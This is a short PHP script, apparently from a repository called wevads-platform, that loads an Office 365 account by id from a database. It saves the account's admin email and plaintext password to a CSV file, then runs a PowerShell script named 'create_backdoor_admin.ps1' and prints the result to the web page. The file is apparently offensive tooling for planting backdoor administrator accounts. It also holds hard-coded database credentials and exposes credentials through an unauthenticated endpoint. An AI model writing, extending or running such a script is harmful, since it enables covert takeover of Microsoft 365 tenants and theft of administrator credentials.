Files
wevads-platform/scripts/test-bd.php
2026-02-26 04:53:11 +01:00

27 lines
947 B
PHP
Executable File

<?php
$aid = intval($_GET['id'] ?? 0);
if(!$aid) die("ID manquant - usage: ?id=XX");
try {
$db = new PDO("pgsql:host=localhost;dbname=adx_system", "admin", "admin123");
$stmt = $db->prepare("SELECT * FROM admin.office_accounts WHERE id = ?");
$stmt->execute([$aid]);
$acc = $stmt->fetch(PDO::FETCH_ASSOC);
if(!$acc) die("Compte ID $aid non trouvé");
file_put_contents('/opt/wevads/storage/office365/khalil.csv', $acc['admin_email'].','.$acc['admin_password']);
file_put_contents('/opt/wevads/storage/office365/current_account.json', json_encode($acc, JSON_PRETTY_PRINT));
echo "<pre>Compte: {$acc['name']}\n";
echo "Email: {$acc['admin_email']}\n";
echo "Exécution du script...\n\n";
flush();
echo shell_exec('timeout 90 pwsh /opt/wevads/scripts/office365/create_backdoor_admin.ps1 2>&1');
echo "</pre>";
} catch(Exception $e) {
die("Erreur: " . $e->getMessage());
}